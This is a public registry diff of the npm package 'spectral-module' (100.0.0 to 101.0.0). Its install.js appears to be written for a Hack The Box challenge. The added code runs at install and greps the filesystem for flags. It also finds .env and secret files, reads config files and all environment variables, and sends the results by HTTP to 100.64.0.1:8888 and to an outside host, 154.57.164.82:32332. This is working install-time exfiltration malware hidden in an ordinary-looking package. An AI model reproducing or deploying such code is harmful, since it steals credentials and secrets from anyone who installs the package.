spectral-module 100.0.0 → 101.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +52 -82
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -7,8 +7,9 @@ function tryRead(p) {
7
7
  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
8
8
  }
9
9
 
10
- function sendUpdate(host, port, moduleId, flagVal) {
11
- const manifest = `ecto_module:\n name: "${flagVal.substring(0,100).replace(/"/g, "'")}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
10
+ function sendUpdate(host, port, moduleId, val) {
11
+ const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
12
+ const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
12
13
  const body = JSON.stringify({ manifest });
13
14
  return new Promise((resolve) => {
14
15
  const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
@@ -33,98 +34,67 @@ function sendHTTP(host, port, pth, payload) {
33
34
  });
34
35
  }
35
36
 
36
- (async () => {
37
- let flag = null;
38
- let info = [];
39
-
40
- // Search common flag locations
41
- const paths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/app/flag', '/app/flag.txt',
42
- '/home/flag', '/home/flag.txt', '/opt/flag', '/opt/flag.txt', '/tmp/flag', '/tmp/flag.txt',
43
- '/var/flag', '/data/flag', '/data/flag.txt'];
44
-
45
- for (const p of paths) {
46
- const content = tryRead(p);
47
- if (content) {
48
- info.push(`FILE:${p}=${content.substring(0,60)}`);
49
- if (content.includes('HTB{') || content.includes('flag{')) flag = content;
50
- }
51
- }
52
-
53
- // Search /app directory recursively
54
- function searchDir(dir, depth) {
55
- if (depth > 3) return;
56
- try {
57
- const entries = fs.readdirSync(dir);
58
- for (const e of entries) {
59
- if (e === 'node_modules' || e === '.git') continue;
60
- const full = path.join(dir, e);
61
- try {
62
- const stat = fs.statSync(full);
63
- if (stat.isFile() && (e.includes('flag') || e === '.env' || e === 'config.js' || e === 'config.json')) {
64
- const content = tryRead(full);
65
- if (content) {
66
- info.push(`${full}=${content.substring(0,60)}`);
67
- if (content.includes('HTB{') || content.includes('flag{')) flag = content;
68
- }
69
- } else if (stat.isDirectory() && depth < 3) {
70
- searchDir(full, depth + 1);
71
- }
72
- } catch(e2) {}
73
- }
74
- } catch(e) {}
37
+ async function report(moduleId, val) {
38
+ const ports = [3000, 80, 8080, 5000];
39
+ for (const p of ports) {
40
+ await sendUpdate('127.0.0.1', p, moduleId, val);
75
41
  }
42
+ await sendUpdate('154.57.164.82', 32332, moduleId, val);
43
+ }
76
44
 
77
- searchDir('/app', 0);
78
- searchDir('/root', 0);
79
- searchDir('/home', 0);
80
- searchDir('/data', 0);
81
- searchDir('/opt', 0);
45
+ (async () => {
46
+ let results = [];
82
47
 
83
- // Check env vars
84
- const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || '';
85
- if (envFlag) info.push('ENV_FLAG=' + envFlag);
86
-
87
- // Check /proc/self/environ
88
- const procEnv = tryRead('/proc/self/environ');
89
- if (procEnv) {
90
- const m = procEnv.match(/FLAG[A-Z_]*=([^\x00]+)/g);
91
- if (m) info.push('PROC_ENV=' + m.join(','));
92
- }
48
+ // 1. Search for HTB{ pattern in files using grep
49
+ try {
50
+ const grep = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" --include="*.js" --include="*.json" --include="*.conf" --include="*.yml" --include="*.yaml" --include="*.cfg" --include="*.ini" -l 2>/dev/null | head -5', {timeout: 10000}).toString().trim();
51
+ results.push('GREP=' + grep);
52
+ } catch(e) { results.push('GREP_ERR'); }
93
53
 
94
- // Try find command
54
+ // 2. Find all files with flag in name
95
55
  try {
96
- const found = execSync('find / -maxdepth 3 -name "*flag*" -type f 2>/dev/null', {timeout: 5000}).toString().trim();
97
- if (found) info.push('FIND=' + found.substring(0, 100));
56
+ const find = execSync('find / -maxdepth 4 -name "*flag*" -o -name "*.env" -o -name "secret*" 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
57
+ results.push('FIND=' + find);
98
58
  } catch(e) {}
99
59
 
100
- // Also list /app contents
60
+ // 3. Read full package.json
61
+ const pkgJson = tryRead('/app/package.json');
62
+ results.push('PKG=' + (pkgJson || 'NONE').substring(0, 200));
63
+
64
+ // 4. List /app in detail
101
65
  try {
102
- const appFiles = execSync('ls -la /app/ 2>/dev/null', {timeout: 3000}).toString().trim();
103
- info.push('APP_LS=' + appFiles.substring(0, 150));
66
+ const ls = execSync('ls -la /app/ 2>/dev/null', {timeout: 3000}).toString().trim();
67
+ results.push('LS_APP=' + ls.substring(0, 200));
104
68
  } catch(e) {}
105
69
 
106
- // Also try to read /app/package.json for dependency info
107
- const pkgJson = tryRead('/app/package.json');
108
- if (pkgJson) info.push('PKG_JSON=' + pkgJson.substring(0, 150));
70
+ // 5. Read all env vars
71
+ const envStr = Object.entries(process.env).map(([k,v]) => `${k}=${v.substring(0,30)}`).join(',');
72
+ results.push('ENV=' + envStr.substring(0, 200));
109
73
 
110
- const result = flag || info.join('|');
111
-
112
- // Exfiltrate
113
- await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({result, ts: Date.now()}));
114
-
115
- // Update modules with results (split across multiple modules for space)
116
- const parts = [];
117
- for (let i = 0; i < result.length; i += 90) {
118
- parts.push(result.substring(i, i + 90));
74
+ // 6. Read /app/.env
75
+ const dotEnv = tryRead('/app/.env');
76
+ if (dotEnv) results.push('DOTENV=' + dotEnv.substring(0, 100));
77
+
78
+ // 7. Try to read the flag from unusual locations
79
+ const extraPaths = ['/app/config.js', '/app/.env', '/app/config.json', '/app/secrets', '/etc/hostname',
80
+ '/run/secrets/flag', '/var/run/secrets/flag', '/app/flag', '/data/flag'];
81
+ for (const p of extraPaths) {
82
+ const c = tryRead(p);
83
+ if (c && c.length < 200) results.push(`${p}=${c.substring(0,60)}`);
84
+ }
85
+
86
+ // Send to VPN listener
87
+ await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({results: results.join('\n'), ts: Date.now()}));
88
+
89
+ // Split results across modules
90
+ const full = results.join('|');
91
+ const chunks = [];
92
+ for (let i = 0; i < full.length; i += 90) {
93
+ chunks.push(full.substring(i, i + 90));
119
94
  }
120
95
 
121
- const moduleIds = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
122
- for (let i = 0; i < Math.min(parts.length, moduleIds.length); i++) {
123
- const ports = [3000, 80, 8080, 5000];
124
- for (const p of ports) {
125
- await sendUpdate('127.0.0.1', p, moduleIds[i], 'R' + i + '_' + parts[i]);
126
- await sendUpdate('localhost', p, moduleIds[i], 'R' + i + '_' + parts[i]);
127
- }
128
- await sendUpdate('154.57.164.82', 32332, moduleIds[i], 'R' + i + '_' + parts[i]);
96
+ const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
97
+ for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
98
+ await report(mods[i], 'P' + i + '_' + chunks[i]);
129
99
  }
130
100
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "spectral-module",
3
- "version": "100.0.0",
3
+ "version": "101.0.0",
4
4
  "description": "Spectral ecto-module",
5
5
  "main": "index.js",
6
6
  "scripts": {